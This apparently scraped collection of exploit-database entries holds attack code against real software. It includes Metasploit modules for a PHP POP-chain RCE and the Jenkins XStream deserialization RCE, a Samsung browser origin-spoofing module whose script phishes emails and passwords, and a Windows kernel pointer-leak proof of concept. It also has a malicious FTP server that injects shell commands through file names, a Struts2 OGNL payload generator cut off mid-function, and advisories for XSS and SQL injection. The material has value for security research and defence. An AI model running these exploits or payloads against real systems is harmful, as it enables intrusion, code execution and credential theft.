'method' => 'PATCH',
'uri' => normalize_uri(target_uri.path, "api/users/#{uid}/preferences"),
'ctype' => 'application/json',
'headers' => {'X-Auth-Token' => token, 'X-Auth-UserId' => uid},
'data' => pref.to_json
})
unless res && res.code == 200
msg = "Something went wrong"
print_error(msg) if @is_check
fail_with(Failure::UnexpectedReply, msg)
end
end
def do_login
print_status("Retrieving the CSRF token for login...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'account/login.php')
})
if res && res.code == 200 && res.body && res.get_cookies
if res.body =~ /name="challenge" value="(\w+)">/
csrf_token = $1
print_good("CSRF token: #{csrf_token}")
else
print_warning("CSRF token not found. Trying to login without it...")
end
else
msg = "Failed to retrieve the login page"
print_error(msg) if @is_check
fail_with(Failure::NoAccess, msg)
end
user = datastore['USERNAME']
pass = datastore['PASSWORD']
res = send_request_cgi({
'method' => 'POST',
'cookie' => res.get_cookies,
'uri' => normalize_uri(target_uri.path, 'account/login.php'),
'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token}
})
unless res && res.code == 302
msg = "Login failed with #{user}:#{pass}"
print_error(msg) if @is_check
fail_with(Failure::NoAccess, msg)
end
print_good("Login successful with #{user}:#{pass}")
res.get_cookies
end
def exec_php(php_code)
random_param = rand_text_alpha(10)
setup_popchain(random_param)
session_cookies = do_login()
print_status("Triggering the POP chain...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "plugins/tracker/?aid=#{datastore['AID']}"),
'cookie' => session_cookies,
'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}
})
if res && res.code == 200 && res.body =~ /Exiting with Error/
msg = "No access to Artifact ID #{datastore['AID']}"
@is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
end
res
end
def check
@is_check = true
flag = rand_text_alpha(rand(10)+20)
res = exec_php("print '#{flag}';")
if res && res.code == 200 && res.body =~ /#{flag}/
return Exploit::CheckCode::Vulnerable
elsif res && res.body =~ /Exiting with Error/
return Exploit::CheckCode::Unknown
end
Exploit::CheckCode::Safe
end
def exploit
@is_check = false
exec_php(payload.encoded)
end
end
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1358
Intel Content Protection HECI Service Type Confusion EoP
Platform: Tested on Windows 10, service version 9.0.2.117
Class: Elevation of Privilege
Summary:
The Intel Content Protection HECI Service exposes a DCOM object to all users and most sandboxes (such as Edge LPAC and Chrome GPU). It has a type confusion vulnerability which can be used to elevate to SYSTEM privileges.
Description:
The Intel Content Protection HECI Service runs as LocalSystem and hosts a DCOM service. The main function is StartIo which takes an input variant and returns a variant. Based on what it’s trying to do I’d assume the input variant is supposed to be a byte array, however it contains a bug.
The vulnerable code is roughly:
HRESULT StartIo(VARIANT In, VARIANT* Out) {
CComSafeArray<char> array;
array::CopyFrom(In.parray);
// Work with array
...
}
The issue here is that the In variant is used as a SAFEARRAY without checking that the VARIANT contains a SAFEARRAY. This leads to type confusion, for example a caller could pass VT_UI4 integer with any value they like and this code would interpret that integer as a pointer to a SAFEARRAY structure. This might seem to be only an arbitrary read issue, however the copy of the safe array can be made to execute arbitrary memory. If you point the type confused pointer at a block of memory which looks like a IUnknown array then when copying the array it will try and add a reference to each COM object in the array. This causes a VTable dispatch to AddRef which if carefully crafted should get arbitrary code execution.
The call to CopyFrom does verify that the variant type is VT_UI1 (a byte array) however you can set some feature flags such as FADF_UNKNOWN which will force a call to IUnknown::AddRef on the elements of the array without changing the supposed variant type. Also you don’t need to guess the allocation address for the fake safearray as you can use a byte length BSTR which contains arbitrary data. The BSTR length field and the SAFEARRAY variant field lines up so as long as the lower 16 bits of the length is set to 17 (which is VT_UI1) it passes the checks and reads out the arbitrary contents from the allocated BSTR.
The really bad thing about this service is not only is it intentionally designed to be accessible from even a heavily restrictive sandbox such as Edge LPAC but it runs with full LocalSystem privileges. While on Win10 CFG might make it harder to exploit, on Win7 you don’t have any such protection. Also the call is done inside an exception handler so even if the wrong address is chosen the service won’t crash (except for fast fail such as CFG).
The following is an example crash when sending a fake safe array to the service (with just a dummy address of 0x18181818 as the IUnknown memory location).
(1110.1188): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=18181818 ebx=001e6290 ecx=18181818 edx=00209390 esi=11d41024 edi=18181818
eip=18181818 esp=0126efc4 ebp=0126efec iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
18181818 1818 sbb byte ptr [eax],bl ds:002b:18181818=18
0:003> k
# ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0126efc0 74f740fb 0x18181818
01 0126efec 74f73e42 OLEAUT32!SafeArrayCopyData+0x21b
02 0126f018 010335d3 OLEAUT32!SafeArrayCopy+0x182
03 0126f030 01034e1b IntelCpHeciSvc+0x135d3
04 0126f118 750326e0 IntelCpHeciSvc+0x14e1b
05 0126f144 74ff4fc2 RPCRT4!Invoke+0x34
06 0126f598 7525555e RPCRT4!NdrStubCall2+0x452
07 0126f5e4 74f70706 combase!CStdStubBuffer_Invoke+0xde [onecore\com\combase\ndr\ndrole\stub.cxx @ 1449]
08 0126f614 75300c48 OLEAUT32!CUnivStubWrapper::Invoke+0x136
09 (Inline) -------- combase!InvokeStubWithExceptionPolicyAndTracing::__l6::<lambda_1ba7c1521bf8e7d0ebd8f0b3c0295667>::operator()+0x4e [onecore\com\combase\dcomrem\channelb.cxx @ 1824]
0a 0126f668 75303621 combase!ObjectMethodExceptionHandlingAction<<lambda_1ba7c1521bf8e7d0ebd8f0b3c0295667> >+0xa8 [onecore\com\combase\dcomrem\excepn.hxx @ 91]
0b (Inline) -------- combase!InvokeStubWithExceptionPolicyAndTracing+0x8e [onecore\com\combase\dcomrem\channelb.cxx @ 1822]
0c 0126f78c 75307330 combase!DefaultStubInvoke+0x221 [onecore\com\combase\dcomrem\channelb.cxx @ 1891]
0d (Inline) -------- combase!SyncStubCall::Invoke+0x22 [onecore\com\combase\dcomrem\channelb.cxx @ 1948]
0e (Inline) -------- combase!SyncServerCall::StubInvoke+0x22 [onecore\com\combase\dcomrem\servercall.hpp @ 779]
0f (Inline) -------- combase!StubInvoke+0x287 [onecore\com\combase\dcomrem\channelb.cxx @ 2173]
10 0126f90c 7530009b combase!ServerCall::ContextInvoke+0x440 [onecore\com\combase\dcomrem\ctxchnl.cxx @ 1541]
11 (Inline) -------- combase!CServerChannel::ContextInvoke+0x669 [onecore\com\combase\dcomrem\ctxchnl.cxx @ 1437]
12 (Inline) -------- combase!DefaultInvokeInApartment+0x669 [onecore\com\combase\dcomrem\callctrl.cxx @ 3532]
13 (Inline) -------- combase!ClassicSTAInvokeInApartment+0x669 [onecore\com\combase\dcomrem\callctrl.cxx @ 3296]
14 0126f9ac 75302b39 combase!AppInvoke+0x8bb [onecore\com\combase\dcomrem\channelb.cxx @ 1604]
15 0126fb3c 7530ff85 combase!ComInvokeWithLockAndIPID+0x599 [onecore\com\combase\dcomrem\channelb.cxx @ 2722]
16 0126fb98 7531056b combase!ComInvoke+0x1c5 [onecore\com\combase\dcomrem\channelb.cxx @ 2242]
17 (Inline) -------- combase!ThreadDispatch+0x83 [onecore\com\combase\dcomrem\chancont.cxx @ 421]
18 0126fbd8 76b12b5b combase!ThreadWndProc+0x21b [onecore\com\combase\dcomrem\chancont.cxx @ 741]
19 0126fc04 76b050f3 USER32!_InternalCallWinProc+0x2b
1a 0126fcec 76b04a82 USER32!UserCallWinProcCheckWow+0x2d3
1b 0126fd60 76b04850 USER32!DispatchMessageWorker+0x222
1c 0126fd6c 010364e1 USER32!DispatchMessageW+0x10
1d 0126fda0 01037039 IntelCpHeciSvc+0x164e1
1e 0126fda8 0103e562 IntelCpHeciSvc+0x17039
1f 0126fde0 0103e5ec IntelCpHeciSvc+0x1e562
20 0126fdec 76928744 IntelCpHeciSvc+0x1e5ec
21 0126fe00 770a582d KERNEL32!BaseThreadInitThunk+0x24
22 0126fe48 770a57fd ntdll!__RtlUserThreadStart+0x2f
23 0126fe58 00000000 ntdll!_RtlUserThreadStart+0x1b
Proof of Concept:
I’ve provided a PoC as a VS project which you can run which will cause the service to access invalid memory. Note that you’ll need a debugger attached to IntelCpHeciSvc.exe as the RPC/DCOM dispatch will swallow the exception, it doesn’t crash the service. The Poc builds a fake SAFEARRAY structure and passes it as a BSTR to the service which gets interpreted as a pointer to a SAFEARRAY. Ultimately it tries to copy the array and will call AddRef on elements of the array.
1) Attach a debugger to IntelCpHeciSvc.exe
2) Compile and run the provided poc.
Expected Result:
Sending the fake SAFEARRAY should fail.
Observed Result:
The service tries to execute invalid memory at 0x18181818 (or at least crashes on an invalid memory location).
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43373.zip
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Jenkins XStream Groovy classpath Deserialization Vulnerability',
'Description' => %q{
This module exploits CVE-2016-0792 a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions
older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath,
which allows remote arbitrary code execution. The issue affects default installations. Authentication
is not required to exploit the vulnerability.
},
'Author' =>
[
'Arshan Dabirsiaghi', # Vulnerability discovery
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
],
'DisclosureDate' => 'Feb 24 2016',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-0792'],
['URL', 'https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'],
['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413']
],
'Platform' => %w{ win linux unix },
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
'Targets' => [
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD
],
['Python (In-Memory)',
'Platform' => 'python',
'Arch' => ARCH_PYTHON
],
['Linux (Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64]
],
['Windows (Dropper)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64]
]
],
'DefaultTarget' => 0
))
register_options([
OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
Opt::RPORT('8080')
])
deregister_options('URIPATH')
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path)
})
unless res
fail_with(Failure::Unknown, 'The connection timed out.')
end
http_headers = res.headers
if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
case target.name
when /Unix/, /Python/
execute_command(payload.encoded)
else
execute_cmdstager
end
end
# Exploit methods
def execute_command(cmd, opts = {})
cmd = case target.name
when /Unix/, /Linux/
%W{/bin/sh -c #{cmd}}
when /Python/
%W{python -c #{cmd}}
when /Windows/
%W{cmd.exe /c #{cmd}}
end
# Encode each command argument with XML entities
cmd.map! { |arg| arg.encode(xml: :text) }
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/createItem'),
'vars_get' => { 'name' => 'random' },
'ctype' => 'application/xml',
'data' => xstream_payload(cmd)
)
end
def xstream_payload(cmd)
<<EOF
<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando"/>
<owner class="java.lang.ProcessBuilder">
<command>
<string>#{cmd.join('</string><string>')}</string>
</command>
</owner>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>1</int>
</entry>
</map>
EOF
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Samsung Internet Browser SOP Bypass',
'Description' => %q(
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the
Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices.
By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather
credentials via a fake pop-up.
),
'License' => MSF_LICENSE,
'Author' => [
'Dhiraj Mishra', # Original discovery, disclosure
'Tod Beardsley', # Metasploit module
'Jeffrey Martin' # Metasploit module
],
'References' => [
[ 'CVE', '2017-17692' ],
['URL', 'http://fr.0day.today/exploit/description/28434']
],
'DisclosureDate' => 'Nov 08 2017',
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer'
)
)
register_options([
OptString.new('TARGET_URL', [
true,
'The URL to spoof origin from.',
'http://example.com/'
]),
OptString.new('CUSTOM_HTML', [
true,
'HTML to display to the victim.',
'This page has moved. Please <a href="#">click here</a> to redirect your browser.'
])
])
register_advanced_options([
OptString.new('CUSTOM_JS', [
false,
"Custom Javascript to inject as the go() function. Use the variable 'x' to refer to the new tab.",
''
])
])
end
def run
exploit # start http server
end
def evil_javascript
return datastore['CUSTOM_JS'] unless datastore['CUSTOM_JS'].blank?
js = <<-EOS
setTimeout(function(){
x.document.body.innerHTML='<h1>404 Error</h1>'+
'<p>Oops, something went wrong.</p>';
a=x.prompt('E-mail','');
b=x.prompt('Password','');
var cred=JSON.stringify({'user':a,'pass':b});
var xmlhttp = new XMLHttpRequest;
xmlhttp.open('POST', window.location, true);
xmlhttp.send(cred);
}, 3000);
EOS
js
end
def setup
@html = <<-EOS
<html>
<meta charset="UTF-8">
<head>
<script>
function go(){
try {
var x = window.open('#{datastore['TARGET_URL']}');
#{evil_javascript}
} catch(e) { }
}
</script>
</head>
<body onclick="go()">
#{datastore['CUSTOM_HTML']}
</body></html>
EOS
end
def store_cred(username,password)
credential_data = {
origin_type: :import,
module_fullname: self.fullname,
filename: 'msfconsole',
workspace_id: myworkspace_id,
service_name: 'web_service',
realm_value: datastore['TARGET_URL'],
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
private_type: :password,
private_data: password,
username: username
}
create_credential(credential_data)
end
# This assumes the default schema is being used.
# If it's not that, it'll just display the collected POST data.
def collect_data(request)
cred = JSON.parse(request.body)
u = cred['user']
p = cred['pass']
if u.blank? || p.blank?
print_good("#{cli.peerhost}: POST data received from #{datastore['TARGET_URL']}: #{request.body}")
else
print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}")
store_cred(u,p)
end
end
def on_request_uri(cli, request)
case request.method.downcase
when 'get' # initial connection
print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'")
print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}")
send_response(cli, @html)
when 'post' # must have fallen for it
collect_data(request)
else
print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
end
end
end
# Exploit Title: Ability Mail Server 3.3.2 Persistent Cross Site Scripting (XSS)
# CVE: CVE-2017-17752
# Date: 19-12-2017
# Software Link: http://download.codecrafters.com/ams3.exe
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Vendor Homepage: http://www.codecrafters.com
# Category: webapps
# Attack Type: Remote
# Impact: Data/Cookie theft
1. Description
Ability Mail Server 3.3.2 has Persistent Cross Site Scripting (XSS) via the body of an e-mail message, with JavaScript code executed on the Read Mail screen (aka the /_readmail URI). To exploit the vulnerability, the victim must open an email with malicious Javascript inserted into the body of the email.
2. Proof of Concept
#!/usr/bin/env python
email_addr = 'hacker@evil.local'
email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email +='<script>alert(1)</script>'
s = smtplib.SMTP('<Attacker IP address', 25)
s.login(email_addr, "password")
s.sendmail(email_addr, email_addr, email)
s.quit()
3. Solution:
Update to version 4.2.4
http://download.codecrafters.com/ams.exe
# Exploit Title: Conarc iChannel - Unauthenticated Access/Default Webserver Misconfiguration allows for compromise of server
# Date: 2017-12-19
# Exploit Author: Information Paradox
# CVE : CVE-2017-17759
https://(affectedserver)/wc.dll?wwMaint~EditConfig
The customized webserver used by iChannel is based on an outdated and
vulnerable version of WestWind Webserver. This page is available,
unauthenticated, to a malicious attacker.
By visiting this link, the attacker can access the webserver configuration
edit page. This page reveals sensitive information, allows for alteration
of the webserver configuration, upload/modification of the server's
configuration and can result in a Denial of Service attack by deleting the
configuration.
This has been acknowledged by Conarc and they have been notified of the
impact.
If your iChannel install is available publicly, this can result in complete
compromise of the server, the web application and severe information
leakage/DOS.
Resolution:
Conarc has been notified of this issue. Until this issue is patched, the
affected installs should be removed from public access. In the case of
private deployments, this page should have an ACL applied to prevent
unauthenticated access to this page.
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1456
We have discovered that it is possible to disclose addresses of kernel-mode Paged Pool allocations via a race-condition in the implementation of the NtQueryVirtualMemory system call (information class 2, MemoryMappedFilenameInformation). The vulnerability affects Windows 7 to 10, 32-bit and 64-bit.
The output buffer for this information class is a UNICODE_STRING structure followed by the actual filename string. The output data is copied back to user-mode memory under the following stack trace (on Windows 7 64-bit):
--- cut ---
kd> k
# Child-SP RetAddr Call Site
00 fffff880`03cfd8c8 fffff800`02970229 nt!memcpy+0x3
01 fffff880`03cfd8d0 fffff800`02970752 nt!IopQueryNameInternal+0x289
02 fffff880`03cfd970 fffff800`02967bb4 nt!IopQueryName+0x26
03 fffff880`03cfd9c0 fffff800`0296a80d nt!ObpQueryNameString+0xb0
04 fffff880`03cfdac0 fffff800`0268d093 nt!NtQueryVirtualMemory+0x5fb
05 fffff880`03cfdbb0 00000000`772abf6a nt!KiSystemServiceCopyEnd+0x13
--- cut ---
An example of an output region is shown below:
--- cut ---
kd> db rdx rdx+r8-1
fffff8a0`01a78010 2e 00 30 00 00 00 00 00-20 80 a7 01 a0 f8 ff ff ..0..... .......
fffff8a0`01a78020 5c 00 44 00 65 00 76 00-69 00 63 00 65 00 5c 00 \.D.e.v.i.c.e.\.
fffff8a0`01a78030 48 00 61 00 72 00 64 00-64 00 69 00 73 00 6b 00 H.a.r.d.d.i.s.k.
fffff8a0`01a78040 56 00 6f 00 6c 00 75 00-6d 00 65 00 32 00 00 00 V.o.l.u.m.e.2...
--- cut ---
Here, we can observe a kernel-mode address (fffff8a0`01a78020) of the textual string that follows the UNICODE_STRING, at offset 0x8. This means that the entire original kernel-mode structure is copied to ring-3, and then later the client's UNICODE_STRING.Buffer pointer is fixed up to point into the userland string. This condition could be referred to as a "double write" (as opposed to double fetch), where the kernel first copies some sensitive/confidential data into user-mode, and later overwrites it with legitimate output. Due to the synchronous way applications interact with the system, the clients only see the end result and therefore cannot observe the information disclosure that takes place in the meantime. However, it is possible to exploit the race condition if one is aware of the existence of such a bug.
In order to obtain the leaked kernel pointer, we must read it in between the two writes. This is easiest achieved by running two concurrent threads (on a multi-core machine) -- one continuously invoking the affected NtQueryVirtualMemory syscall, and the other reading the UNICODE_STRING.Buffer member in a loop and checking if it's a kernel-mode pointer. This scheme is implemented in the attached proof-of-concept program. An example output from Windows 7 64-bit is as follows:
--- cut ---
C:\>NtQueryVirtualMemory.exe
Leaked pointer: fffff8a0014b2010
Leaked pointer: fffff8a0014f5010
Leaked pointer: fffff8a00153b010
Leaked pointer: fffff8a001567010
Leaked pointer: fffff8a0015b1010
Leaked pointer: fffff8a0015c9010
Leaked pointer: fffff8a0015dc010
Leaked pointer: fffff8a0015f9010
Leaked pointer: fffff8a0017ff010
Leaked pointer: fffff8a00180b010
Leaked pointer: fffff8a001810010
Leaked pointer: fffff8a001832010
Leaked pointer: fffff8a001833010
Leaked pointer: fffff8a00182a010
[...]
--- cut ---
################################################################################
Update: The insecure behavior of nt!IopQueryNameInternal can be also reached via nt!NtQueryObject. See the following stack trace:
--- cut ---
kd> k
# Child-SP RetAddr Call Site
00 fffff880`025548a8 fffff800`02970229 nt!memcpy+0x3
01 fffff880`025548b0 fffff800`02970752 nt!IopQueryNameInternal+0x289
02 fffff880`02554950 fffff800`02967bb4 nt!IopQueryName+0x26
03 fffff880`025549a0 fffff800`02971f7d nt!ObpQueryNameString+0xb0
04 fffff880`02554aa0 fffff800`0268d093 nt!NtQueryObject+0x1c7
05 fffff880`02554bb0 00000000`772abe3a nt!KiSystemServiceCopyEnd+0x13
--- cut ---
And the region being copied:
--- cut ---
kd> db rdx rdx+r8-1
fffff8a0`01666bf0 2e 00 30 00 00 00 00 00-00 6c 66 01 a0 f8 ff ff ..0......lf.....
fffff8a0`01666c00 5c 00 44 00 65 00 76 00-69 00 63 00 65 00 5c 00 \.D.e.v.i.c.e.\.
fffff8a0`01666c10 48 00 61 00 72 00 64 00-64 00 69 00 73 00 6b 00 H.a.r.d.d.i.s.k.
fffff8a0`01666c20 56 00 6f 00 6c 00 75 00-6d 00 65 00 32 00 00 00 V.o.l.u.m.e.2...
--- cut ---
Note the kernel-mode address fffff8a0`01666c00 at offset 0x8 of the memory dump.
################################################################################
MSRC have responded that their current policy with regards to addressing kernel pool pointer leaks is as follows:
--- cut ---
Please note that due to some By-Design kernel pointer leaks already present in our platforms, Information Disclosures which only disclose kernel pool pointers will only be serviced in v.Next until all by design disclosures can be resolved. Information Disclosures of uninitialized kernel memory will continue to be serviced via Security Updates. Any leaks within privileged processes will also be considered v.Next; unless you can supply PoC which proves that you can perform the same leak - but not kernel pool pointer leaks - as an unprivileged user.
--- cut ---
As this particular bug only facilitates the disclosure of kernel pool pointers, it was classified as a v.Next issue (fixed in a future version of Windows) and closed on the MSRC side. I'm therefore derestricting the details of the bug here, too.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
namespace globals {
BYTE OutputBuffer[1024];
} // namespace globals
typedef enum _MEMORY_INFORMATION_CLASS {
MemoryMappedFilenameInformation = 2
} MEMORY_INFORMATION_CLASS;
extern "C"
NTSTATUS NTAPI NtQueryVirtualMemory(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress,
_In_ MEMORY_INFORMATION_CLASS MemoryInformationClass,
_Out_ PVOID MemoryInformation,
_In_ SIZE_T MemoryInformationLength,
_Out_opt_ PSIZE_T ReturnLength
);
BOOL IsKernelPointer(ULONG_PTR Pointer) {
#ifdef _WIN64
return (Pointer >= 0xfff8000000000000);
#else // 32-bit
return (Pointer >= 0x80000000);
#endif
}
DWORD WINAPI ThreadProc(
_In_ LPVOID lpParameter
) {
PUNICODE_STRING OutputString = (PUNICODE_STRING)globals::OutputBuffer;
ULONG_PTR LastPointer = 0;
while (1) {
ULONG_PTR Pointer = 0;
memcpy(&Pointer, &OutputString->Buffer, sizeof(ULONG_PTR));
if (IsKernelPointer(Pointer) && Pointer != LastPointer) {
printf("Leaked pointer: %Ix\n", Pointer);
LastPointer = Pointer;
}
}
return 0;
}
int main() {
CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
while (1) {
SIZE_T ReturnLength;
NTSTATUS st = NtQueryVirtualMemory(GetCurrentProcess(),
&main,
MemoryMappedFilenameInformation,
globals::OutputBuffer,
sizeof(globals::OutputBuffer),
&ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryVirtualMemory failed, %x\n", st);
ExitProcess(1);
}
}
return 0;
}
# Exploit Title: SQL Injection
# Date: 18 December, 2017
# Exploit Author: Rajwinder Singh
# Vendor Homepage: http://www.beims.com/products/
# Software Link: http://www.beims.com/optional-modules/#ccw
# Version: BEIMS ContractorWeb .NET System 5.18.0.0
# CVE : 2017-17721
Vulnerability Details:
======================
WEBNET/WOSummary/List in ZUUSE BEIMS ContractorWeb .NET 5.18.0.0 allows SQL injection via the tradestatus, assetno, assignto, building, domain, jobtype, site, trade, woType, workorderno, or workorderstatus parameter.
Impact:
======================
1. Database compromise
2. Server compromise
3. Application defacement
4. Internal network access and exploitation.
Proof-of-Concept:
====================
1. Injected SQL injection payload under page "/CWEBNET/WOSummary/List" in post parameter 'tradestatus' and received SQL error response from server.
2. Saved request in the text file to run automated SQLmap tool for further enumeration and successfully dumped full database which will not be disclosed.
Affected Component:
====================
URL: www.domain.com/CWEBNET/WOSummary/List
post parameters: tradestatus, assetno, assignto, building, domain, jobtype, site, trade, woType, workorderno, workorderstatus
Disclosure Timeline:
=====================
Mitre Notification: 18 December, 2017
Public Disclosure: 18 December, 2017
Exploitation Technique:
=======================
Remote
Severity Level:
================
Critical
Description:
=====================================================
Request Method(s): [+] POST
Vulnerable Product: [+] BEIMS ContractorWeb .NET System 5.18.0.0
Reference: https://becomepentester.blogspot.ae/2017/12/ZUUSE-BEIMS-ContractorWeb-SQLInjection-CVE-2017-17721.html
While using NET::Ftp I realised you could get command execution through "malicious" file names.
The problem lies in the `gettextfile(remotefile, localfile = File.basename(remotefile))` method.
When looking at the source code, you'll note:
```
def gettextfile(remotefile, localfile = File.basename(remotefile),
&block) # :yield: line
f = nil
result = nil
if localfile
f = open(localfile, "w") # Vulnerable code here. open("| os command","w")
elsif !block_given?
result = String.new
end
```
The `localfile` value will trigger command execution if the value is `| os command`. In general use, most users would likely provide their own localfile value and would not rely on the default of `File.basename(remotefile)`; however, in some situations, such as listing and downloading all files in a FTP share, the remotefile value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either `ls -l` style for the `LIST` command, or filenames for `NLIST`), there is no need/guarantee that filename will be a valid filename.
I have attached a sample server that can be used to trigger this vulnerability, as well as a sample client which is vulnerable.
## Usage:
Change the `host` and `port` values in both //ftpserver.rb// and //client.rb//
Start the server: `ruby ftpserver.rb`
Run the client: `ruby client.rb`
Observe that a new file has been created in the CWD of the //client.rb//. The file will be called `pang` and contain the output of the `id` command. As seen in screenshot1.png
The provided attack example is a little contrived and assumes the user is accepting the file names provided by the server, rather than their own. However, since there is no clear indication in the documentation or an expectation that filenames could lead to RCE, users may be caught unaware. It would probably be best to not use `open` in NET::Ftp, but rather something like `File.open`, maintaining both expected behaviour and security.
## Impact
Remote code execution through command injection. As a user of the NET::Ftp is expecting normal file creation behaviour, they might not be sanitising file paths.
--cilent.rb--
```
require 'net/ftp'
host = '172.17.0.4'
port = 2121
Net::FTP.const_set('FTP_PORT',port)
Net::FTP.open(host) do |ftp|
ftp.login
fileList = ftp.nlst('*')
fileList.each do |file|
ftp.gettextfile(file)
end
end
```
--cilent.rb--
- - -
--ftpserv.rb--
```
require 'socket'
host = '172.17.0.4'
port = 2121
hostsplit = host.tr('.',',')
server = TCPServer.new port
loop do
Thread.start(server.accept) do |client|
client.puts "220 Attack FTP\r\n"
r = client.gets
puts r
client.puts "331 password please - version check\r\n"
r = client.gets
puts r
client.puts "230 User logged in\r\n"
r = client.gets
puts r
client.puts "230 more data please!\r\n"
r = client.gets
puts r
client.puts "230 more data please!\r\n"
r = client.gets
puts r
wait = true
psv = Thread.new do
pserver = TCPServer.new 23461
Thread.start(pserver.accept) do |pclient|
while wait do
end
pclient.puts "|echo${IFS}$(id)${IFS}>pang\r\n"
pclient.close
end
end
sleep 1
client.puts "227 Entering Passive Mode ("+hostsplit+",91,165)\r\n"
r = client.gets
puts r
psv.join
client.puts "150 Here comes the directory listing.\r\n"
wait = false
client.puts "226 Directory send OK.\r\n"
r = client.gets
puts r
client.puts "221 goodbye\r\n"
client.close
end
end
```
--ftpserv.rb--
- - -
E-DB Note: https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/
E-DB Nte: https://hackerone.com/reports/294462
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
import random
import base64
upperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
lowerAlpha = "abcdefghijklmnopqrstuvwxyz"
numerals = "0123456789"
allchars = [chr(_) for _ in xrange(0x00, 0xFF + 0x01)]
def rand_base(length, bad, chars):
'''generate a random string with chars collection'''
cset = (set(chars) - set(list(bad)))
if len(cset) == 0:
return ""
chars = [list(cset)[random.randrange(len(cset))] for i in xrange(length)]
chars = map(str, chars)
return "".join(chars)
def rand_char(bad='', chars=allchars):
'''generate a random char with chars collection'''
return rand_base(1, bad, chars)
def rand_text(length, bad='', chars=allchars):
'''generate a random string (cab be with unprintable chars)'''
return rand_base(length, bad, chars)
def rand_text_alpha(length, bad=''):
'''generate a random string with alpha chars'''
chars = upperAlpha + lowerAlpha
return rand_base(length, bad, set(chars))
def rand_text_alpha_lower(length, bad=''):
'''generate a random lower string with alpha chars'''
return rand_base(length, bad, set(lowerAlpha))
def rand_text_alpha_upper(length, bad=''):
'''generate a random upper string with alpha chars'''
return rand_base(length, bad, set(upperAlpha))
def rand_text_alphanumeric():
'''generate a random string with alpha and numerals chars'''
chars = upperAlpha + lowerAlpha + numerals
return rand_base(length, bad, set(chars))
def rand_text_numeric(length, bad=''):
'''generate a random string with numerals chars'''
return rand_base(length, bad, set(numerals))
def generate_rce_payload(code):
'''generate apache struts2 s2-033 payload.
'''
payload = ""
payload += requests.utils.quote("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
payload += ","
payload += requests.utils.quote(code)
payload += ","
payload += requests.utils.quote("#xx.toString.json")
payload += "?"
payload += requests.utils.quote("#xx:#request.toString")
return payload
def check(url):
'''check if url is vulnerable to apache struts2 S2-033.
'''
var_a = rand_text_alpha(4)
var_b = rand_text_alpha(4)
flag = rand_text_alpha(5)
addend_one = int(rand_text_numeric(2))
addend_two = int(rand_text_numeric(2))
addend_sum = addend_one + addend_two
